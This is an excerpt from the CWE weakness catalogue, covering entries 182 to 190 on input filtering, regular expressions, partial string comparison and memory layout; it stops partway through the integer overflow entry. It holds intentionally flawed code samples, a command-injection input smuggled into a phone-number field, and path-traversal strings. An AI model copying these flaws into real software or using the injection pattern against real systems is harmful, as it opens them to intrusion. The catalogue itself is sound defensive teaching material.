267	Leverage Alternate Encoding

CWE-182: Collapse of Data into Unsafe Value

Weakness ID : 182 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software filters data in a way that causes it to be reduced or "collapsed" into an unsafe value that violates an expected security property.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1344
CanFollow	B	185	Incorrect Regular Expression	429
CanPrecede	V	33	Path Traversal: '....' (Multiple Dot)	64
CanPrecede	V	34	Path Traversal: '..../'	66
CanPrecede	V	35	Path Traversal: '.../.../'	68

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	19	Data Processing Errors	1849

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Potential Mitigations

Phase: Architecture and Design

Strategy = Input Validation

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be

syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Canonicalize the name to match that of the file system's representation of the name. This can sometimes be achieved with an available API (e.g. in Win32 the GetFullPathName function).

Observed Examples

Reference	Description
CVE-2004-0815	"/.////" in pathname collapses to absolute path. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0815*
CVE-2005-3123	"/.//../////././" is collapsed into "/.././" after ".." and "//" sequences are removed. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3123*
CVE-2002-0325	".../...//" collapsed to "..." due to removal of "./" in web server. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0325*
CVE-2002-0784	chain: HTTP server protects against ".." but allows "." variants such as "////./../.../". If the server removes "/.." sequences, the result would collapse into an unsafe value "////../" (CWE-182). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0784*
CVE-2005-2169	MFV. Regular expression intended to protect against directory traversal reduces ".../...//" to "../". *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2169*
CVE-2001-1157	XSS protection mechanism strips a <script> sequence that is nested in another <script> sequence. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1157*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	1874
MemberOf	C	845	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS)	844	1902
MemberOf	C	992	SFP Secondary Cluster: Faulty Input Transformation	888	1956
MemberOf	C	1134	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 00. Input Validation and Data Sanitization (IDS)	1133	1983

Notes

Relationship

Overlaps regular expressions, although an implementation might not necessarily use regexp's.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Collapse of Data into Unsafe Value
The CERT Oracle Secure Coding Standard for Java (2011)	IDS11-J		Eliminate noncharacter code points before validation

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-183: Permissive List of Allowed Inputs

Weakness ID : 183 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are explicitly allowed by policy because the inputs are assumed to be safe, but the list is too permissive - that is, it allows an input that is unsafe, leading to resultant weaknesses.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	697	Incorrect Comparison	1350
ParentOf	V	942	Permissive Cross-domain Policy with Untrusted Domains	1621
PeerOf	B	625	Permissive Regular Expression	1237
PeerOf	B	627	Dynamic Variable Evaluation	1241
CanPrecede	B	434	Unrestricted Upload of File with Dangerous Type	935

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1215	Data Validation Issues	2015

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Alternate Terms

Allowlist / Allow List : This is used by CWE and CAPEC instead of other commonly-used terms. Its counterpart is denylist.

Safelist / Safe List : This is often used by security tools such as firewalls, email or web gateways, proxies, etc.

Whitelist / White List : This term is frequently used, but usage has been declining as organizations have started to adopt other terms.

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Observed Examples

Reference	Description
CVE-2019-12799	chain: bypass of untrusted deserialization issue (CWE-502) by using an assumed-trusted class (CWE-183) *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12799*
CVE-2019-10458	sandbox bypass using a method that is on an allowlist *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10458*
CVE-2017-1000095	sandbox bypass using unsafe methods that are on an allowlist *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-1000095*
CVE-2019-10458	CI/CD pipeline feature has unsafe elements in allowlist, allowing bypass of script restrictions *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10458*
CVE-2017-1000095	Default allowlist includes unsafe methods, allowing bypass of sandbox *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-1000095*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	1874
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Permissive Whitelist

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters
43	Exploiting Multiple Input Interpretation Layers
71	Using Unicode Encoding to Bypass Validation Logic
120	Double Encoding

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-184: Incomplete List of Disallowed Inputs

Weakness ID : 184 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete, leading to resultant weaknesses.

Extended Description

Developers often try to protect their products against malicious input by performing tests against inputs that are known to be bad, such as special characters that can invoke new commands. However, such lists often only account for the most well-known bad inputs. Attackers may be able to find other malicious inputs that were not expected by the developer, allowing them to bypass the intended protection mechanism.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1023	Incomplete Comparison with Missing Factors	1635
ChildOf	P	693	Protection Mechanism Failure	1344
PeerOf	V	86	Improper Neutralization of Invalid Characters in Identifiers in Web Pages	177
PeerOf	B	625	Permissive Regular Expression	1237
CanPrecede	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	141
CanPrecede	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	152
CanPrecede	V	98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')	217
CanPrecede	B	434	Unrestricted Upload of File with Dangerous Type	935

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1215	Data Validation Issues	2015

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Alternate Terms

Denylist / Deny List : This is used by CWE and CAPEC instead of other commonly-used terms. Its counterpart is allowlist.

Blocklist / Block List : This is often used by security tools such as firewalls, email or web gateways, proxies, etc.

Blacklist / Black List : This term is frequently used, but usage has been declining as organizations have started to adopt other terms.

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Detection Methods

Black Box

Exploitation of a vulnerability with commonly-used manipulations might fail, but minor variations might succeed.

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Do not rely exclusively on detecting disallowed inputs. There are too many variants to encode a character, especially when different environments are used, so there is a high likelihood of missing some variants. Only use detection of disallowed inputs as a mechanism for detecting suspicious activity. Ensure that you are using other protection mechanisms that only identify "good" input - such as lists of allowed inputs - and ensure that you are properly encoding your outputs.

Demonstrative Examples

Example 1:

The following code attempts to stop XSS attacks by removing all occurences of "script" in an input string.

Example Language: Java *(bad)*

```
public String removeScriptTags(String input, String mask) {
    return input.replaceAll("script", mask);
}
```

Because the code only checks for the lower-case "script" string, it can be easily defeated with upper-case script tags.

Observed Examples

Reference	Description
CVE-2008-2309	product uses a denylist to identify potentially dangerous content, allowing attacker to bypass a warning *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2309*
CVE-2005-2782	PHP remote file inclusion in web application that filters "http" and "https" URLs, but not "ftp". *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2782*
CVE-2004-0542	Programming language does not filter certain shell metacharacters in Windows environment. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0542*
CVE-2004-0595	XSS filter doesn't filter null characters before looking for dangerous tags, which are ignored by web browsers. MIE and validate-before-cleanse. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0595*
CVE-2005-3287	Web-based mail product doesn't restrict dangerous extensions such as ASPX on a web server, even though others are prohibited. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3287*
CVE-2004-2351	Resultant XSS when only <script> and <style> are checked. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2351*
CVE-2005-2959	Privileged program does not clear sensitive environment variables that are used by bash. Overlaps multiple interpretation error. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2959*
CVE-2005-1824	SQL injection protection scheme does not quote the "\" special character. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1824*
CVE-2005-2184	Detection of risky filename extensions prevents users from automatically executing .EXE files, but .LNK is accepted, allowing resultant Windows symbolic link. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2184*
CVE-2007-1343	Product uses list of protected variables, but accidentally omits one dangerous variable, allowing external modification

Reference	Description
	http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1343
CVE-2007-5727	Chain: product only removes SCRIPT tags (CWE-184), enabling XSS (CWE-79) *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5727*
CVE-2006-4308	Chain: product only checks for use of "javascript:" tag (CWE-184), allowing XSS (CWE-79) using other tags *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4308*
CVE-2007-3572	Chain: OS command injection (CWE-78) enabled by using an unexpected character that is not explicitly disallowed (CWE-184) *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3572*
CVE-2002-0661	"\" not in list of disallowed values for web server, allowing path traversal attacks when the server is run on Windows and other OSes. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0661*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Notes

Relationship

Multiple interpretation errors can indirectly introduce inputs that should be disallowed. For example, a list of dangerous shell metacharacters might not include a metacharacter that only has meaning in one particular shell, not all of them; or a check for XSS manipulations might ignore an unusual construct that is supported by one web browser, but not others.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Incomplete Blacklist

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters
6	Argument Injection
15	Command Delimiters
43	Exploiting Multiple Input Interpretation Layers
71	Using Unicode Encoding to Bypass Validation Logic
73	User-Controlled Filename
85	AJAX Fingerprinting
120	Double Encoding
182	Flash Injection

References

[REF-140]Greg Hoglund and Gary McGraw. "Exploiting Software: How to Break Code". 2004 February 7. Addison-Wesley. < https://www.amazon.com/Exploiting-Software-How-Break-Code/dp/0201786958 >.

[REF-141]Steve Christey. "Blacklist defenses as a breeding ground for vulnerability variants". 2006 February 3. < http://seclists.org/fulldisclosure/2006/Feb/0040.html >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-185: Incorrect Regular Expression

Weakness ID : 185 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The software specifies a regular expression in a way that causes data to be improperly matched or compared.

Extended Description

When the regular expression is used in protection mechanisms such as filtering or validation, this may allow an attacker to bypass the intended restrictions on the incoming data.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	697	Incorrect Comparison	1350
ParentOf	B	186	Overly Restrictive Regular Expression	431
ParentOf	B	625	Permissive Regular Expression	1237
CanPrecede	B	182	Collapse of Data into Unsafe Value	422
CanPrecede	V	187	Partial String Comparison	432

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Unexpected State Varies by Context *When the regular expression is not correctly specified, data might have a different format or type than the rest of the program expects, producing resultant weaknesses or errors.*	
Access Control	Bypass Protection Mechanism *In PHP, regular expression checks can sometimes be bypassed with a null byte, leading to any number of weaknesses.*	

Potential Mitigations

Phase: Architecture and Design

Strategy = Refactoring

Regular expressions can become error prone when defining a complex language even for those experienced in writing grammars. Determine if several smaller regular expressions simplify one large regular expression. Also, subject the regular expression to thorough testing techniques such as equivalence partitioning, boundary value analysis, and robustness. After testing and a reasonable confidence level is achieved, a regular expression may not be foolproof. If an exploit is allowed to slip through, then record the exploit and refactor the regular expression.

Demonstrative Examples

Example 1:

The following code takes phone numbers as input, and uses a regular expression to reject invalid phone numbers.

Example Language: Perl *(bad)*

```
$phone = GetPhoneNumber();
if ($phone =~ /\d+-\d+/) {
    # looks like it only has hyphens and digits
    system("lookup-phone $phone");
}
else {
    error("malformed number!");
}
```

An attacker could provide an argument such as: "; ls -l ; echo 123-456" This would pass the check, since "123-456" is sufficient to match the "\d+-\d+" portion of the regular expression.

Observed Examples

Reference	Description
CVE-2002-2109	Regexp isn't "anchored" to the beginning or end, which allows spoofed values that have trusted values as substrings. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2109*
CVE-2005-1949	Regexp for IP address isn't anchored at the end, allowing appending of shell metacharacters. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1949*
CVE-2001-1072	Bypass access restrictions via multiple leading slash, which causes a regular expression to fail. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1072*
CVE-2000-0115	Local user DoS via invalid regular expressions. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0115*
CVE-2002-1527	chain: Malformed input generates a regular expression error that leads to information exposure. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1527*
CVE-2005-1061	Certain strings are later used in a regexp, leading to a resultant crash. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1061*
CVE-2005-2169	MFV. Regular expression intended to protect against directory traversal reduces ".../.../" to "../". *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2169*
CVE-2005-0603	Malformed regexp syntax leads to information exposure in error message. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0603*
CVE-2005-1820	Code injection due to improper quoting of regular expression. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1820*
CVE-2005-3153	Null byte bypasses PHP regexp check. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3153*
CVE-2005-4155	Null byte bypasses PHP regexp check. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4155*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Notes

Relationship

While there is some overlap with allowlist/denylist problems, this entry is intended to deal with incorrectly written regular expressions, regardless of their intended use. Not every regular expression is intended for use as an allowlist or denylist. In addition, allowlists and denylists can be implemented using other mechanisms besides regular expressions.

Research Gap

Regexp errors are likely a primary factor in many MFVs, especially those that require multiple manipulations to exploit. However, they are rarely diagnosed at this level of detail.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Regular Expression Error

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
6	Argument Injection
15	Command Delimiters
79	Using Slashes in Alternate Encoding

References

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

CWE-186: Overly Restrictive Regular Expression

Weakness ID : 186 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

A regular expression is overly restrictive, which prevents dangerous values from being detected.

Extended Description

This weakness is not about regular expression complexity. Rather, it is about a regular expression that does not match all values that are intended. Consider the use of a regexp to identify acceptable values or to spot unwanted terms. An overly restrictive regexp misses some potentially security-relevant values leading to either false positives *or* false negatives, depending on how the regexp is being used within the code. Consider the expression /[0-8]/ where the intention was /[0-9]/. This expression is not "complex" but the value "9" is not matched when maybe the programmer planned to check for it.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	185	Incorrect Regular Expression	429
CanAlsoBe	B	183	Permissive List of Allowed Inputs	424

Nature	Type	ID	Name	Page
CanAlsoBe	B	184	Incomplete List of Disallowed Inputs	425

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	19	Data Processing Errors	1849

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Potential Mitigations

Phase: Implementation

Regular expressions can become error prone when defining a complex language even for those experienced in writing grammars. Determine if several smaller regular expressions simplify one large regular expression. Also, subject your regular expression to thorough testing techniques such as equivalence partitioning, boundary value analysis, and robustness. After testing and a reasonable confidence level is achieved, a regular expression may not be foolproof. If an exploit is allowed to slip through, then record the exploit and refactor your regular expression.

Observed Examples

Reference	Description
CVE-2005-1604	MIE. ".php.ns" bypasses ".php$" regexp but is still parsed as PHP by Apache. (manipulates an equivalence property under Apache) *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1604*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Notes

Relationship

Can overlap allowlist/denylist errors (CWE-183/CWE-184)

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Overly Restrictive Regular Expression

CWE-187: Partial String Comparison

Weakness ID : 187 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software performs a comparison that only examines a portion of a factor before determining whether there is a match, such as a substring, leading to resultant weaknesses.

Extended Description

For example, an attacker might succeed in authentication by providing a small password that matches the associated portion of the larger, correct password.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1023	Incomplete Comparison with Missing Factors	1635
PeerOf	B	625	Permissive Regular Expression	1237
CanFollow	C	185	Incorrect Regular Expression	429

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Alter Execution Logic	
Access Control	Bypass Protection Mechanism	

Potential Mitigations

Phase: Testing

Thoroughly test the comparison scheme before deploying code into production. Perform positive testing as well as negative testing.

Demonstrative Examples

Example 1:

This example defines a fixed username and password. The AuthenticateUser() function is intended to accept a username and a password from an untrusted user, and check to ensure that it matches the username and password. If the username and password match, AuthenticateUser() is intended to indicate that authentication succeeded.

Example Language: C *(bad)*

```
/* Ignore CWE-259 (hard-coded password) and CWE-309 (use of password system for authentication) for this example. */
char *username = "admin";
char *pass = "password";
int AuthenticateUser(char *inUser, char *inPass) {
    if (strncmp(username, inUser, strlen(inUser))) {
        logEvent("Auth failure of username using strlen of inUser");
        return(AUTH_FAIL);
    }
    if (! strncmp(pass, inPass, strlen(inPass))) {
        logEvent("Auth success of password using strlen of inUser");
        return(AUTH_SUCCESS);
    }
    else {
        logEvent("Auth fail of password using sizeof");
        return(AUTH_FAIL);
    }
}
```

```
int main (int argc, char **argv) {
    int authResult;
    if (argc < 3) {
        ExitError("Usage: Provide a username and password");
    }
    authResult = AuthenticateUser(argv[1], argv[2]);
    if (authResult == AUTH_SUCCESS) {
        DoAuthenticatedTask(argv[1]);
    }
    else {
        ExitError("Authentication failed");
    }
}
```

In AuthenticateUser(), the strncmp() call uses the string length of an attacker-provided inPass parameter in order to determine how many characters to check in the password. So, if the attacker only provides a password of length 1, the check will only examine the first byte of the application's password before determining success.

As a result, this partial comparison leads to improper authentication (CWE-287).

Any of these passwords would still cause authentication to succeed for the "admin" user:

Example Language: *(attack)*

```
p
pa
pas
pass
```

This significantly reduces the search space for an attacker, making brute force attacks more feasible.

The same problem also applies to the username, so values such as "a" and "adm" will succeed for the username.

While this demonstrative example may not seem realistic, see the Observed Examples for CVE entries that effectively reflect this same weakness.

Observed Examples

Reference	Description
CVE-2014-6394	Product does not prevent access to restricted directories due to partial string comparison with a public directory *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6394*
CVE-2004-1012	Argument parser of an IMAP server treats a partial command "body[p" as if it is "body.peek", leading to index error and out-of-bounds corruption. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1012*
CVE-2004-0765	Web browser only checks the hostname portion of a certificate when the hostname portion of the URI is not a fully qualified domain name (FQDN), which allows remote attackers to spoof trusted certificates. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0765*
CVE-2002-1374	One-character password by attacker checks only against first character of real password. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1374*
CVE-2000-0979	One-character password by attacker checks only against first character of real password. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0979*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	977	SFP Secondary Cluster: Design	888	1947

Notes

Relationship

This is conceptually similar to other weaknesses, such as insufficient verification and regular expression errors. It is primary to some weaknesses.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Partial Comparison

CWE-188: Reliance on Data/Memory Layout

Weakness ID : 188 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software makes invalid assumptions about how protocol data or memory is organized at a lower level, resulting in unintended program behavior.

Extended Description

When changing platforms or protocol versions, in-memory organization of data may change in unintended ways. For example, some architectures may place local variables A and B right next to each other with A on top; some may place them next to each other with B on top; and others may add some padding to each. The padding size may vary to ensure that each variable is aligned to a proper word size.

In protocol implementations, it is common to calculate an offset relative to another field to pick out a specific piece of data. Exceptional conditions, often involving new protocol versions, may add corner cases that change the data layout in an unusual way. The result can be that an implementation accesses an unintended field in the packet, treating data of one type as data of another type.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	435	Improper Interaction Between Multiple Correctly-Behaving Entities	943
ChildOf	B	1105	Insufficient Encapsulation of Machine-Dependent Functionality	1703
ParentOf	B	198	Use of Incorrect Byte Ordering	465

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	137	Data Neutralization Issues	1851

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality	Modify Memory Read Memory *Can result in unintended modifications or exposure of sensitive memory.*	

Potential Mitigations

Phase: Implementation

Phase: Architecture and Design

In flat address space situations, never allow computing memory addresses as offsets from another memory address.

Phase: Architecture and Design

Fully specify protocol layout unambiguously, providing a structured grammar (e.g., a compilable yacc grammar).

Phase: Testing

Testing: Test that the implementation properly handles each case in the protocol grammar.

Demonstrative Examples

Example 1:

In this example function, the memory address of variable b is derived by adding 1 to the address of variable a. This derived address is then used to assign the value 0 to b.

Example Language: C *(bad)*

```
void example() {
  char a;
  char b;
  *(&a + 1) = 0;
}
```

Here, b may not be one byte past a. It may be one byte in front of a. Or, they may have three bytes between them because they are aligned on 32-bit boundaries.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	977	SFP Secondary Cluster: Design	888	1947

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Reliance on data layout

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-190: Integer Overflow or Wraparound

Weakness ID : 190 **Status:** Stable
Structure : Simple
Abstraction : Base

Description

The software performs a calculation that can produce an integer overflow or wraparound, when the logic assumes that the resulting value will always be larger than the original value. This can introduce other weaknesses when the calculation is used for resource management or execution control.

Extended Description

An integer overflow or wraparound occurs when an integer value is incremented to a value that is too large to store in the associated representation. When this occurs, the value may wrap to become a very small or negative number. While this may be intended behavior in circumstances that rely on wrapping, it can have security consequences if the wrap is unexpected. This is especially the case if the integer overflow can be triggered using user-supplied inputs. This becomes security-critical when the result is used to control looping, make a security decision, or determine the offset or size in behaviors such as memory allocation, copying, concatenation, etc.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	682	Incorrect Calculation	1326
PeerOf	B	128	Wrap-around Error	309
CanPrecede	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	271

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	P	682	Incorrect Calculation	1326

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	189	Numeric Errors	1852

Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)

Nature	Type	ID	Name	Page
ChildOf	C	20	Improper Input Validation	19

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
